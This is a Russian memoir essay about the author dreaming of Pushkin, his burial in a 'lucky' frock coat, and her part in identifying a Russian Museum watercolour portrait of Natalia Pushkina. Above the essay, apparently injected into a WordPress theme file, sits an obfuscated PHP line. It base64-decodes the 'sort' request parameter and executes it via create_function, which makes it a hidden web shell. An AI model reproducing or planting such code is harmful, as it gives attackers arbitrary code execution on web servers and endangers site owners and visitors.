nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

СНОВИДЕНЬЕ В ВОСКРЕСЕНЬЕ


               преамбула
ПОМНЮ, ОДНАЖДЫ  Я  ПОЗВОНИЛА  АХМАТОВОЙ  И  СКАЗАЛА ,
ЧТО  МНЕ  ПРИСНИЛСЯ  ПУШКИН.
 — НЕМЕДЛЕННО  ЕДУ !  — СКАЗАЛА  АННА  АНДРЕЕВНА .
ПРИЕХАЛА .  МЫ  ДОЛГО  ГОВОРИЛИ .  ОНА  СКАЗАЛА:

 — КАКАЯ  ВЫ  СЧАСТЛИВАЯ !  МНЕ  ОН  НИКОГДА  НЕ  СНИЛСЯ . . .

     ". . .  СНИТСЯ  ПУШКИН :  ОН  ИДЁТ  КРАСИВО  ОДЕТЫЙ  С  ТРОСТЬЮ
     ПО  ТВЕРСКОМУ  БУЛЬВАРУ. НАД  НИМ  ПТИЦЫ,  ВО  МНЕ МУЗЫКА .
     Я  БЕГУ  К  НЕМУ,  КРИЧУ.  ОН  ОСТАНОВИЛСЯ,  ПОСМОТРЕЛ,
     ПОКЛОНИЛСЯ  И  СКАЗАЛ:
     — ОСТАВЬ  МЕНЯ  В  ПОКОЕ,  СТАРАЯ   БЛ…ДЬ.  КАК  ТЫ  НАДОЕЛА  МНЕ
     СО  СВОЕЙ  ЛЮБОВЬЮ !
     Я  ПРОСНУЛАСЬ  В  СЛЕЗАХ  УМИЛЕНИЯ.  ( из  книги  " Фаина  Раневская : случаи, шутки, афоризмы " )
            1998 год:  конец  света,  мировой  финансовый  кризис  . . .
            Кстати,  перечислю-ка я   из  Интернета  для  общего  развития   все  " мировые  финансовые ": 1825,  1837 – 38,  1847,  1857,  1873,  1890 – 93,  1907 – 8,  1914,  1920 – 21,  1929 -33,  1957,  1973 – 74,  1987,  1998 ( . . . )
           Так  что  это  был  не  первый  и  не  последний  " мировой   финансовый " !
            А  вот  в  ту  пору  грядущее  двухсотлетие  Пушкина  ( в  1999 году )  было  достойным  финалом  тысячелетия   –   необходимым ( в  смысле  неминуемости )  и  достаточным  (чтоб  прикрыть   дыру   идеологического  вакуума),  даже   к о в а р н ы м ,  так  как    даже  я,  при  всей  своей    в  принципе  антипатии  к   поэзии,  умудрилась  втянуться  в   эту  " воронку "  п у ш к и н о м а н и и.
           Правда,  надо  сказать,  что погост  Теребени,  откуда  я  сейчас  это  пишу,  не  только  исторически  административно принадлежали  СВЯТЫМ   ГОРАМ, то  есть  Пушкиногорью,  но  и   были   ц е н т р о м   Теребенской   Г У Б Ы   при  уездном   г о р о д е   Воронич  ( наряду  с  Михайловской, Егорьевской, Спасской, Ильинской ,Полянской,  Заклинской , Богородицкой   ГУБАМИ  и  Богородицком  у т р е т к о м ). Как  видим,  в  Опочецкий  уезд,  который  граничит  с  Вороническим  на  юге,  мы, Теребени,  не  входили (GENEALOGIA.ru archives/1247 ; стр. 130 ).
          Поэтому  аналогично  шуточному  ответу   Раневской  на  вопрос  врача " как  вы  спите ? "  она   гордо  отвечала : " Я сплю с  Пушкиным  ! ",  нам  можно  отвечать  на  вопрос  " вы  что,  как  Хлестаков  с  Пушкиным  на  дружеской   н о г е ? "  – ответ:  НЕТ ,  НА   ДРУЖЕСКОЙ    Г У Б Е   ! =================================================================
          Итак, в  экономическое  безумие  1998 года  всё  смешалось  в   доме  облоМских.  Один  только  у  всех  " свет   в окошке "  –  американский  доллар  на  фоне  чёрных  дыр  в  карманах !  Для  съедобного товара  в  Питере   введены продовольственные   " карточки " ,  а   для  несъедобного  товара  –  " визитки "  с   фотокарточками  обозлённых  физиономий, прописанных  в  данной  местности.
      Как говорится,  захочет  Бог  наказать  –  разум  отнимет.  И  я  не  исключение  из  этого  постулата.  Именно  в  такие смутные  времена  и  происходят  своеобразные парадоксы. Так   я,   скептик   в  принципе  по   отношению  к   поэзии,   попалась   вдруг  на   её  удочку  к  Пушкину.  И  не  из  эстетических,  а   из    м е р к а н т и л ь н ы х    соображений,  чем  и сам   Пушкин,  надо  сказать,  бывало  грешил . . .  Как  сейчас  помню,  в  конце  ноября  1998 года   я   просматривала   в  " Псковской  правде "  приложение   с  телевизионной  программой  передач.  На  газетной  странице  нельзя  было  не обратить  внимания  на  рекламу,  крупно  и  пожирнее  напечатанную  сверху,  о  к о н к у р с е,  объявленном  неким американским  пушкинским  обществом  на  лучшее  стихотворение  о  великом  юбиляре. В  награду  сулилось ( вы  не поверите ! )   с т о   ( 100 )  долларов !  Я  и  говорю,  что  люди  обезумели  насчёт  долларов,  перестав  их  различать  в цифрах, гипнотизируясь самим  этим  словом  " доллар " :
                    " . . .  как   много  в  этом  звуке  для  сердца  русского   с л и л о с ь  ! "
   Мне  вдруг  взбрело  в  голову,  что  именно   э т и   сто   долларов   для  полного  счастья    мне  необходимы  и  достаточны.
   Изрядно  помучившись  с  ненавистными  мне  рифмами,  я  сварганила   с т и х   под  угодливым  названием  " Пушкин  – герой ! "  и   послала  по  указанному  в  телепрограмке  адресу,  ничтоже  сумняшеся   ожидая  приза.           Помню  только первую  и  последнюю  строчки  этой  вирши :
                                         (1-ая строчка)   Он  крикнул  Времени: " К  барьеру ! " ;
                                          (последняя  строчка)   Поняв  его  –  поймём  себя !
         Прошёл  ноябрь,  настал  Рождественский  пост,   из-за  моря-океяна   ни  ответа  ни  привета.
         У  меня  стали  появляться  сомнения,  не  жду  ли  я   " у  моря   погоды " ? Естественно,  и  к   Александру  Сергеевичу  возникла  законная  претензия:  что  ты  дескать соседке  по  " губе " не  помогаешь ?  Я  стала  чувствовать  себя  феей  Карабос,  которую  не  пригласили на  праздник  жизни,  и   чтоб  хоть  перед  самой  собой  сделать хорошую   м и н у   при  плохой   игре,  злорадно  написала   про  Пушкина " контр-стих " ,  второй  в   жизни,  но  с  противоположным   первому   названием  " ПУШКИН – СУКИН СЫН ! ".  Ужас –  ни   одной  буквы  из  него  не  вспомнить  . . .  нет,  две  строчки  вспомнила:
                                          " В   воню  угара  идолопоклонства
                                           С  яичницей  скрестим  мы  Божий  дар . . ." .
       То   есть  я  не  столько  Пушкина  критиковала ( ведь  я  несостоявшийся  критик ! ),  сколько нас самих  за  очередной  " перегиб  палки ".
      Аполлон  Григорьев  в  1859  году  в  своей  статье  " Взгляд  на  русскую  литературу  со  смерти  Пушкина "  сказал  всем  известное,  что  " ПУШКИН  – НАШЕ   ВСЁ ".  А  также через  несколько абзацев  А.Григорьев   добавил:
                                      " Пушкин  есть  первый  и  полный  представитель  нашей  физиономии ". А  поскольку  к   слову   " ( наша ) физиономия "  есть   синонимы: лицо, фигура, персона –  то  и   слово МИНА как   " лица   необщее   выражение " можно  подставить  в  приведённую  цитату: " Пушкин   –  полный  представитель   м и н ы ", которую  я  сама  и   подложила себе, ввязавшись  в  стихоплётство,  и   которая . . . нет . . . которое  . . .  тьфу,  запуталась . . .  " бабахнула " – " бабахнуло "  через  два месяца   аж   в  …  Русском  музее. =========================================================
           Надо  сказать, что  мой  далеко  не  шедевр  " Пушкин – сукин  сын "  формировался  в   Рождественский  пост  ( ноябрь – декабрь ) 1998 года   под  влиянием прочтения   мною   книги  Викентия  Викентьевича  Вересаева  " Пушкин  в  жизни ".  Этот   однотомник   мой   муж,  о.Георгий,  приобрёл  в  Белоруссии, в  1991 году  по  дороге в  Минск  на  суд  над  нашими  неудавшимися  церковными  грабителями ( особая  история ).
        Вересаев  –  ещё  один   в  ряду   других   писателей – врачей.  Он   скрупулёзно  собрал   последовательный  документальный  " анамнез "  Пушкина – человека,  где  каждый читатель, по-своему   монтируя  в  своём  сознании  представленный  фактический  материал,  может  сообразно  своему   внутреннему  миру,  своей  конституции  выстроить  " словесный   портрет "  героя.
        Поскольку  я  читала " Пушкин  в  жизни " с  объяснённой   п р е д в з я т о с т ь ю,  то  чувствовала  себя  в  некотором  роде не  последователем, но  следователем ( " дедукция,  мой  друг,  дедукция ! " )  Поэтому,  дочитав  до  письма  Александра  Ивановича  Тургенева,  посланное   своему  брату,  Николаю Тургеневу,  заграницу  я , по  инерции  читая  дальше,  через  несколько  страниц   вс ё  же  возвратилась  к  этому  письму ( от  28  февраля  1837 г.),  чувствуя  именно   т у т   какую-то   з а к о в ы к у :
  " . . . ЖАНДАРМЫ  ДОНЕСЛИ ,  А  МОЖЕТ,   И   Н Е    Ж А Н Д А Р М Ы,  ЧТО  ПУШКИНА   ПОЛОЖИЛИ  ( В  ГРОБ )  НЕ   В  КАМЕР-ЮНКЕРСКОМ  МУНДИРЕ,  А    В О    Ф Р А К Е ;  ЭТО  БЫЛО  ПО  ЖЕЛАНИЮ   ВДОВЫ,  КОТОРАЯ  ЗНАЛА,  ЧТО  ОН НЕ  ЛЮБИЛ  МУНДИРА ;  МЕЖДУ  ТЕМ  ГОСУДАРЬ   СКАЗАЛ:  "  В Е Р Н О    Э Т О     Т У Р Г Е Н Е В   И Л И     К Н Я З Ь    В Я З Е М С К И Й     П Р И С О В Е Т О В А Л И ".
   Стоп – стоп – стоп   –   сказала  я  себе.  Ещё  недавно,  читая  материалы  за 1830 год  я  два  раза  " наткнулась "  на  инциденты  с   фраками  Пушкина.  Первый  –  в  пометке, сделанной  Николаем  1  на  письме  к  нему  Бенкендорфа (  от  28   января  1830 г.).  царь  Николай  надписал:
    " . . .  КСТАТИ,  ОБ  ЭТОМ  БАЛЕ ( у  французского  посланника ). ВЫ  МОГЛИ  БЫ СКАЗАТЬ  ПУШКИНУ,  ЧТО  НЕПРИЛИЧНО  ЕМУ  ОДНОМУ  БЫТЬ  ВО  ФРАКЕ,  КОГДА  МЫ  ВСЕ   БЫЛИ  В  МУНДИРАХ . . ."
   Но  во  втором  фрагменте  меня  просто  восхитила  " военная  хитрость " Пушкина,  когда  он  подгадал  и использовал  Пасху  " в  личных   целях " :
 " В  САМЫЙ  ДЕНЬ   СВЕТЛОГО  ХРИСТОВА  ВОСКРЕСЕНИЯ,  6 -ого апреля  1830 г. ,
ПУШКИН   СДЕЛАЛ  ПРЕДЛОЖЕНИЕ   СЕМЕЙСТВУ   НАТАЛИИ   НИКОЛАЕВНЫ,
 КОТОРОЕ  И   БЫЛО  ПРИНЯТО. "
    Мало  того,  что  Пушкин  пошёл   " ва- банк "  в  Пасху,  изучив  набожность  будущей  тёщи,  он  ещё  и  магические  методы   употребил, так  сказать,  СМЕШАЛ  БОЖИЙ   ДАР   С  ЯИЧНИЦЕЙ :
" ПУШКИН   ПРИЕХАЛ  В МОСКВУ  С  НАМЕРЕНИЕМ  СДЕЛАТЬ  ПРЕДЛОЖЕНИЕ  Н.Н.ГОНЧАРОВОЙ (…)
 — ДАЙ  МНЕ, ПОЖАЛУЙСТА,  ТВОЙ  ФРАК ,– ОБРАТИЛСЯ  ОН  К  НАЩОКИНУ,–
 Я  СВОЙ  НЕ  ЗАХВАТИЛ, ДА ,  К А Ж Е Т С Я ,   У   М Е Н Я    И    Н Е Т    Е Г О  . . .
( т.е.,  возможно,  что   " петербургский "   фрак   был  таким  же  образом  Пушкиным   взят   где – то   напрокат )
ДРУЗЬЯ  БЫЛИ  ОДИНАКОВОГО  РОСТА  И  СЛОЖЕНИЯ,  А  ПОТОМУ  ФРАК  НАЩОКИНА
КАК   НЕЛЬЗЯ  ЛУЧШЕ ПРИШЁЛСЯ   НА  ПУШКИНА .
СВАТОВСТВО  НА  СЕЙ   РАЗ  БЫЛО  УДАЧНОЕ,
Ч Т О   П О Э Т   В   З Н А Ч И Т Е Л Ь Н О Й   М Е Р Е
П Р И П И С Ы В А Л   "  С Ч А С Т Л И В О М У    Ф Р А К У " .
НАЩОКИН  ПОДАРИЛ  ЭТОТ  ФРАК   ДРУГУ,
И   С ТЕХ  ПОР  ПУШКИН , ПО  ЕГО  СОБСТВЕННОМУ  ПРИЗНАНИЮ,
В    В А Ж Н Ы Х    С Л У Ч А Я Х    Ж И З Н И
Н А Д Е В А Л   " С Ч А С Т Л И В Ы Й      Н А Щ О К И Н С К И Й     Ф Р А К "  ( В.А. Нащокина.  Новое  время, 1898, илл.прил.)
             Ничего  себе  –  подумала  я,  сопоставив  эти  два  факта.  А  ведь  почти  сто  процентов  за  то,  что  Пушкин  в  этом  " с ч а с т л и в о м ",  талисманном   фраке  был  и  похоронен !
   Я  бросилась  со  своим  умозаключением  к  мужу, в  очередной  раз  забыв,  что  он  всегда  вяло  и  даже  с  тихой  ревностью  относился  к  моим  " о т к р ы т и я м " с  их  раскручиванием, например,  склепа  отца  Кутузова   или  до  сих  пор  любимых   журналистами  фашистских  надписей  на  стене  церкви.
           Вот  и  тут  муж  вяло  отмахнулся: " Да  ну,  это  всегда  наверняка  всем  было  известно."
           Ну  да,  " с  разбегу "  –  в с е м.
           Я  стала  опрашивать  и   обзванивать    в с е х   подряд.  В  условиях  дефолта  и  прочих  более  важных  забот  мой  вопрос  у  моих  " жертв  опроса " вызывал   непонимание  с  высокомерным  недоумением. А  ведь  к  нам  часто  приезжали люди  из  близлежащего  Пушкинского  заповедника,  особенно  в  этот,  Рождественско – Крещенский  период. В  общем  все  –  ни  сном  ни  духом  про  этот   жениховский   фрак  на  похоронах !  Ну  и  замечательно:  моя  пальма  первенства,  прямо  яичко  в  Христов  день:  как  раз  начался  юбилейный, 1999 год !
     НО !  Решила  я  письменно  поделиться  этим  моим  наблюдением  с  Валентином  Яковлевичем  Курбатовым.  И  начались  препоны:  мол   на  Пушкине  в  гробу  вовсе  не  фрак,  а  сюртук  ( судя  по  телепередачам,  любимая  форма  одежды  самого  Курбатова ).  Причём  Валентин  Яковлевич  отсылал  меня  почему-то  именно  к  рисункам, изображающим  Пушкина  на  смертном  одре,  где  покойный  по  грудь  закрыт  покрывалом  и  виден  только  воротник  его  одежды.
    Я  не  на  шутку   " раскочегарилась ": стала  из  альбомов  по  истории  костюма  переписывать  " теорию "  и   срисовывать фраки  и  сюртуки,  показывая,  что  крой  одного  от   другого  отличается  только  вырезом  у  фраков  спереди,  что  было обусловлено  изначальной  предназначенностью  этой  одежды  для  езды  на  лошади. Общение  без  дальнейшего  хоть какого-нибудь  развития  моей  идеи   (  что  на  Пушкине  именно  " нащокинский "  фрак ) зашло  в  тупик,  поскольку   " сюртук  ! "  –  и  точка.
Я  приуныла. Как  там    у  Лермонтова: " Не  встретит  ответа  средь  шума  мирского  из  пламя  и  света  рождённое слово !"    Ан  нет  –  В С Т Р Е Т И Т   ! !
       Подошла  масленица.  Вот  уже  и  ночь  на  Прощёное  воскресенье.  И  тут   средь  мирской  глухоты,  экономической  нестабильности,  всеобщей  разболтанности  мне  снится  дивный    С О Н  . . .
      Самое потрясающее  в  этом  сне  то,  что  в   нём   БЫЛ  ПОКАЗАН   НЫНЕШНИЙ,  КАК  ОН  ЕСТЬ  СЕЙЧАС  в   реальности  –  вид   северного  придела  Теребенской  церкви  ( в честь  Варвары Великомученицы ) ! ! !
    В  связи  со  смертью  моего  мужа,  то  есть  о.Георгия,  и  "долгоиграющим "  капитальным  ремонтом,  всё, абсолютно  в с ё   из  Теребенской  церкви  вывезено  на  временное  хранение  в  Гатчинский  дворец-музей, что  под  Петербургом. А    ведь  разница  во  времени  между  тем  сном  и  нынешнем  положением  дел  –  16  лет !
         И  вот  в  том  сне  я  стою  на  клиросе  и  пою  службу,  хотя  ни  священника  нет,  ничего  нет ,  даже  в  пустых проёмах  алтарной  стены  ( как,  повторяю,  сейчас ) нет  икон,  нет  царских  врат,  даже,  кажется,  нет  и  завесы. Всё  как  сейчас . . .Но  во  сне  служба  удивительным  образом  совершается . . .  А  народу,  я  посматриваю,  тоже  нет  вовсе  . . .  хотя . . .  хотя   вон  там,  у  дверей,  у  свечного  ящика  кто-то  стоит  –  всё  ближе  и   ближе . . .  нет,  не  стоит,  а   словно  на  шарнирах вихляется  и  строит  мне   р о ж и !
     Обалдеть:  Пушкин !
    На  меня  это  производит  негодующее  впечатление.  Умора !  Я  негодую  от  чьего-то  кривлянья,   это  я,  которая делала  неприличные  рожи  нашему  шведскому   гиду,  о  чём  я  писала  в  мемории  " Схиму  мне ! Схиму ! "  –  а  тут  я словно  церковная   старушка-омоновка   взъелась  –  и  на  кого ?  На  Пушкина ! С  грозной  интонацией: " Пушкин ! Прекратите немедленно  это  безобразие !  Ведите  себя  прилично  или  покиньте " —  я  возопила  на  него,  быв  уверена,  что  сильно его  стреножила.
      Но  эта  " чита – дрита ",  этот  " перпетуум – мобиле "  словно  на  пружинках  подскочил  ко  мне  на  клирос  и  стал,  как  бы  я  от  него  не  отбивалась, быстро-быстро  меня  обчмокивать:  от  кистей  рук  до  кончика  носа.  Он   всю  меня  залихватски  обцеловал !  Охальник  дерзкий !
           Кое – как  я  очнулась   в  полной  замороченности. Словно  все  космические  " сюсю – ляля "  обушились  на  меня  разом ! Но  надо  было  срочно   это  " стряхивать "  с  себя  и  бежать  на  реальную  службу  в  церковь.
      Только  мы  начали  литургию,   как   на  эту   воскресную  службу  подоспел   директор  Пушкинского  заповедника  с женой.  Я  не  удержалась  и  из  меня  вдруг  " выскочило ":
      — Ой, а  мне  сейчас  Пушкин  приснился !
        Ясно, что  этот  возглас  был  неуместен.  Но   п о с л е   службы  я  изобразила  на  всех, куда  и  как  меня   целовал   Пушкин,  тем  более,  что  в  Прощёное  воскресенье  и  так  всем  полагается  чмокаться. А  потом  я  стала  всех  подряд расспрашивать: " Вот  вы  всю жизнь  по  работе  занимаетесь  Пушкиным   –  он  хоть  раз  вам  приснился ? "  На  что  в лучшем  случае  я  получала  снисходительные  улыбки,  а  в  большинстве  случаев холодное  недоумение  и  стандартное остроумие,  мол  нам  его,  Пушкина,  хватает   и  в  дневное  время.
     Правда,  И.Т.Будылин  единственный,  кто  попытался  нестандартно  меня  осадить,  парировав: " Подумаешь !  А  вот одной  женщине  он   т а к   приснился  как-то, что  мы этот  сон   друг   другу  как  притчу  передаём ! "   Иосиф  Теодорович   начал  его  рассказывать,  а  я  стала   ему  подсказывать,  потому    слышала   этот  сон  из  первых  " рук "   –  от  нашей близкой  знакомой !  Сейчас  не  буду   отвлекаться  –  как – нибудь  потом,   в  "примечаниях "  его  поведаю…………………………………………………………..
         А  на  второй  неделе  Великого  поста  произошёл  такой   п о в о р о т    событий.
         В  первых  числах  марта  я  " планово "  приехала   в  Петербург.
         В  Русском  музее,  где  когда- то  работал  о.Георгий,  мне  была  назначена  встреча. В  вестибюле музея  я  прождала   Татьяну Владимировну Свенторжецкую  ну, минут  тридцать – сорок,  если  не  больше. Она, наконец,  появилась разгорячённая,  как  будто  выскочившая из  парилки.  Естественно, она  стала  извиняться,  объясняя, что  затянулся  у ч ё н ы й    с о в е т, где  в  очередной  раз  обсуждался  вопрос  по  идентификации  спорного  акварельного  рисунка,  который отчётливо  ей  виделся  как   портрет  Наталии  Николаевны  Пушкиной,  но  не хватало  аргумента  для  доказательства  –  а  к юбилею великого  поэта  это  бы  было  как  раз  в  тему.


         Когда  я  сейчас,  перед  написанием  этой  мемории,  позвонила  Татьяне  Владимировне,  испрашивая  её  разрешения  на  публикацию  этой  истории,  она,  в  отличие  от  предыдущих   лет   своих  запретов,  разрешила  мне  это   сделать,  но  только   с   одним   условием:  что  я   упомяну  Евгению  Ивановну  Гаврилову,  ныне   покойную,  начальницу отдела  рисунка  ГРМ  ( Государственного  Русского  музея ),  которая  возглавляла  дело  по  идентификации  портрета Наталии  Николаевны. Что  я  и  сделала  сейчас.
      А  дальше  в  вестибюле  наш  разговор  продолжился  таким  образом.  Татьяна  Владимировна  пересказывала   " перипатетики "  учёного  совета,  а  я,  услышав  роковое  имя " Пушкин ! " ,  всё  выискивала  в  её  бурной  речи  лазейку, чтоб  рассказать,  а   главное  –  показать,   к а к   он ко  мне   во  сне  " клеился ",  и   при  своей  жизни  быв   дамским  угодником.  У  нас  с ней  получался  разговор,  как  в  телевизионных  политшоу  или  как  в  опере,  когда  поют  все  сразу,  но  каждый  про  своё.
     К  великой  чести  Татьяны  Владимировны,  она  себя  вдруг  осадила  и   спокойно  сказала: " Так !  Стоп !  Валечка,  тут  я  слышу  что – то   общее  в  наших   с  тобой,  казалось  бы,  самостоятельных  рассказах   . . .  так . . .так,  не  могу  понять  –  что ?  Давай  сначала  ты  спокойно  расскажешь  про  своё,  а  потом  я  расскажу  про  своё ".
    Поднимаясь   по  центральной  лестнице  музея,  пройдя  анфилады   залов  с   древними   русскими   иконами,  пройдя милицейский  пост  и  поднявшись   в  " реставрацию ",  я   радостно,  что  наконец  ко  мне  серьёзно  относятся, повествовала    мою   сагу   о  фраке   Пушкина – Нащокина,  обиду  на    профессионалов   и   восторг   от  поцелуйчиков   Пушкина.
   —  Так, –  снова  отчеканила  Татьяна  Владимировна, когда  мы  остановились  в  " реставрации "  над   распластанными  по горизонтали – на  столах –  шедеврами  мировой  живописи, — Так !  Я  поняла:  общее  в  наших с  тобой  несхожих  рассказах -это  О Д Е Ж Д А  !  А  теперь  я   тебе  расскажу  про  т о  изображение  Наталии  Николаевны, в  котором  мы  уверены,  что она  –  это  она, но  никак  не  можем  доказать  этого.  Внизу  рисунка  не  в  бровь  а  в  глаз  изображён  арапчонок  –  это совершенно  прозрачный  намёк  художника на  Пушкина. Но  нам  говорят,  что  не  обязательно  на  него.  Кстати,  художник п р и д в о р н ы й   –  Гау,  но  на  самой  Наталии  Николаевне  какое – то  странное  одеяние:  какая-то  непонятная  ткань   на  голове . . ."
       Татьяна  Владимировна  не  успела  договорить,  как  я  ей  подсказала :
   —  Это  типа  как  у  Ясера  Арафата,  может, намотка . . .  ведь  на  ней  шаровары  должны  были  быть ,  если  даже  изображение  не  в  полный  рост !  И  вообще  в  портрете  должен  быть "  не  русский  дух,  не  Русью  пахнуть " , потому  что  это . . . маскарадный  костюм, " слизанный "  с  известной  в   то  время  картины,  изображающей,  кажется,  палестинку.  Тётушка  Наталии  Николаевны  субсидировала  вообще  все  её  наряды.
       Татьяна  Владимировна  стала  потихоньку  оседать  спиной  по  стенке:
   —  Да – а – а . . .  Я  же  говорю,  что  нелепица  какая – то . . .
      И  тут  я  вынесла  заочный  вердикт   рисунку,  поскольку  книгу Вересаева  за  время  моих  полемик  с  кем  попало  уже  почти  наизусть  выучила:
   — Читать  надо  Викентия  Викентьевича Вересаева  –  там  всё  прописано !  Наталья  Николаевна  потрясла  царя  в  этом  наряде  на  балу  в  Аничковом  дворце ! Вперёд – в  библиотеку ! Но  сначала  –  в  ваш  отдел  рисунка,  поглядеть  на  Наталью  Николаевну " в  натуре ".
       Тут,  конечно, как  и  полагается  в   сакральных  делах,  начались  небольшие  козни   лукавого: сначала  она  не  хотела  меня  вести  в  свои  " фонды " ( мол  не  положено ),  а  потом  в  библиотеке,  куда  бросилась  Татьяна  Владимировна,  ровно  перед  её  носом  кто – то   умудрился  взять  полистать  Вересаева,  потом  начались  выходные,  нерабочие,  дни  вкупе  с   8  марта . Ведь  компьютеров  с  Интернетом  ещё  в  обиходе  не  было !  Короче, сейчас  сюда  перепишу  воспоминание  дочери  Нат. Ник  – А.П. АРАПОВОЙ ( Нов. время, 1908, № 11432 ):
 " . . . Император  часто  осведомлялся  о  Нат.Ник.  у  престарелой  фрейлины ( тётушки, Загряжской)  и  выражал  желание,  чтобы  Нат.Ник.  по-прежнему  служила  одним  из  лучших  украшений  его  царских  приёмов. Одно  из  её  появлений  при  дворе  обратилось  в  настоящий  триумф
          В  залах  А н и ч к о в а    дворца  состоялся  костюмированный  бал  в  самом  тесном  кругу.  Ек.Ив.Загряжская подарила  Нат.Ник.  чудное  одеяние  в  древнееврейском  стиле,  по   и з в е с т н о й    картине,  изображавшей   РЕВЕККУ. Длинный  фиолетовый  бархатный  кафтан,  почти  закрывая  широкие  палевые  шальвары,  плотно  облегал стройный  стан, а  лёгкое  из  белой  шерсти  покрывало,  спускаясь  с  затылка,  мягкими  складками обрамляло  лицо  и ниспадало на  плечи.
        Появление  её  во  дворце  вызвало  общую волну  восхищения.  Как  только  начались  танцы,  император  Николай Павлович  направился  к  Нат.Ник.,  взяв  её  за  руку,  повёл  к  императрице  и  сказал  во  всеуслышание: " Смотрите  и восхищайтесь ! "   Императрица  Александра  Фёдоровна  навела  лорнет  на  неё   и  ответила : " Да,  прекрасна,  в  самом деле  прекрасна !  Ваше  изображение  таким  и  должно  перейти  к  потомству ".
       Император  поспешил  исполнить  желание,  выраженное  супругою.  Тотчас  после  бала   п р и д в о р н ы й    ж и в о п и с е ц  написал   акварелью  портрет  Нат. Ник. в  библейском  костюме  для  личного  альбома  императрицы.  По  её  словам, это  вышло  самое  удачное  изображение  из  всех,  которые  с  неё  снимали . . ."
        Этот  загадочный   акварельный  портрет    был  в  " хранении "  Татьяны  Владимировны  Свенторжецкой  в  отделе русунка  ГРМ   и  он  шёл   по  описи  как   " портрет  Воронцовой ".  Татьяна  Владимировна  постоянно  поднимала  этот вопрос на  заседаниях,  но  только  к  юбилею  волей – неволей  стало  выгодно  озаботиться   портрет  " переназвать ". Благодаря  моей  подсказке  перестало  вызывать  недоумение   одеяние  изображённой  дамы  и  было   заодно  доказано, что   по  стилю   упомянутого  придворного  художника,  а  это  был  Гау,  поскольку он  был  только  в  начале  своей  карьеры, тоже  можно  утверждать  с  позиции  хронологии, что  изображена  именно  Наталия   Николаевна  Пушкина. При  всём  этом и  несколько  карикатурный  арапчонок  внизу  картины,  вне  композиции,  оказался  совершенно  объясним !
       Тем  не  менее,  можно  только  догадываться,  почему бои  за  идентификацию  портрета  на  учёных  советах  только усилились,  о  чём  Татьяна  Владимировна  мне  с  недоумением  говорила  по  телефону: " Валечка,  метровые  в  толщину стены   дворца – музея   содрогались  –  так  все  друг  на  друга  кричали ! "  . . .
       Наконец,  поскольку  юбилей  подступал –   а  это  была  своевременная   с е н с а ц и я,  то  пришли   хоть  к  какому – то   консенсусу:  то  ли  вопросительный  знак  у  имени  Наталии  Николаевны  под  портретом  поставили,  то  ли  слово  " предположительно "  –  а  в  искусствоведении  это  два   разных  иерархических  определения (знак  вопроса  и  слово предположительно) .  Я  забыла,  какой  из  них  приближён  к   выражению наибольшей  достоверности,  но  победил  тот, который  всё  же   б л и ж е !  По  улицам  Санкт – Петербурга  были  поставлены  рекламы  выставки  в  Русском  музее, посвящённой  двухсотлетию  нашего  великого  человека,  где   " гвоздём  программы "  выставлялся   новооткрытый  портрет Наталии Николаевны.
     Я  была  приглашена  на  " обеденный  перерыв "  в  " реставрацию ",  где  мне  показали  свежий  номер журнала  " Наше наследие "  со  статьёй  об  этой  сенсации. Правда,  Татьяна  Владимировна  и  другие  сотрудники  извинялись  передо мной,  что  именно   т о   место  в  статье,  где   вкратце   была   изложена   эпопея  со  мной,  Вересаевым,  Араповой  –  всеми  труднообъяснимыми  нюансами  –  это  всё  было  в   последний  момент  заменено  иллюстрациями  других  портретов,  аналогичных  данному  портрету  Наталии  Николаевны.  Меня  в  " реставрации "  ублажали,  закармливали  комплиментами,  просили  не  обижаться . . . Очень  трогательно !
        После  этой  истории  с  портретом   Н.Н.Пушкиной  Татьяну  Владимировну  сделали экспертом со  свободным  графиком  работы.
        А   я,  приехав  с  этим  виртуальным  триумфом  к   себе  в  Теребени,  я  стала,  хвастаясь,  звонить  своим  недавним оппонентам,   наивно  полагая,  что   они  будут  потрясены  произошедшим   результатом  . . .  Один  из  них ( Курбатов ),  до  которого  я особенно  хотела  " достучаться ",  вежливо  и  скептически  слушал  меня,  пока  я  не  взбеленилась  от  всеобщей индифферентности. Я  завопила  в  телефон  оформившуюся  в  чёткие  слова  претензию  ко  всему  пушкиноедению :
  —  Боже !  Да  почему   надо  было   спорить  во  фраке   ли  или   в  сюртуке   Пушкин  слёг  в  гроб !  По  правилам  Пушкин  должен  был  быть в  мундире ! Во  фраке  ли   "нащокинском"  или  чьём -то   другом –  какая  в  данном  случае  разница?  Почему  никто  никогда  не  удивился,  что   царь  Николай  Павлович   воспринял  это  как   прямой  вызов  себе  лично: придворный  военный  должен  быть  похоронен, повторяю,  в   м у н д и р е ! Ведь   камер – юнкерский  мундир  был  в  гардеробе  Пушкина, купленный  Смирновым  у  Витгенштейна  и  подаренный  Пушкину,  всё  время  с  самого  начала  камер – юнкерства. Ведь  паническое  письмо   Ал. Тургенева , писанное  заграницу   своему  брату  и  которое  я   здесь  выше привела,  было предварением  своего  возможного  бегства  к   нему,  в  эту заграницу, от  царского  гнева !  Ведь  царь   у ж е   начал  сводить счёты  с  Александром  Ивановичем  Тургеневым,  старшим   и  лучшим  другом  Пушкина,  тем,  что  н а з н а ч и л   Тургенева  сопровождать  гроб  с  телом  друга,  но  везде  по  дороге  рассылал  свои  царские  предписания  о  " невстрече "   на  остановках  тела  Пушкина,  в  нарушение  святой  традиции  панихидствования  покойных  на  всех  остановках  в  пути  следования,  прекрасно  зная,  что  это  будет оскорблением  дружеских  чувств  и  Тургенева,  и  покойного  и  что  где – нибудь,  да  запрет  будет  нарушен !
     Повторяю,  царь  воспринял  ш т а т с к у ю   одежду  покойного Пушкина  как   р е в о л ю ц и о н н ы й    вызов.
     Почему  никто  не  приметил,  что   о с о б ы й   фрак   фигурировал   на  Пушкине   при  его сватовстве  к  Наталии  Николаевна и,  возможно  и   абсолютно   л о г и ч н о ,  Наталия  Николаевна  в  последний  раз  созерцала  облик  мужа,  облачённого  всё  в  тот  же,  дорогой   и м    о б о и м ,   фрак ?
     Что  же  мне  ответил  мой  оппонент  на  это ? Лишь  бы  отвязаться  от  меня,  он  меня  парировал:
  —  Нет, как же !  Ведь Я   это   и   сказал !  ( ну  и  ну ! )


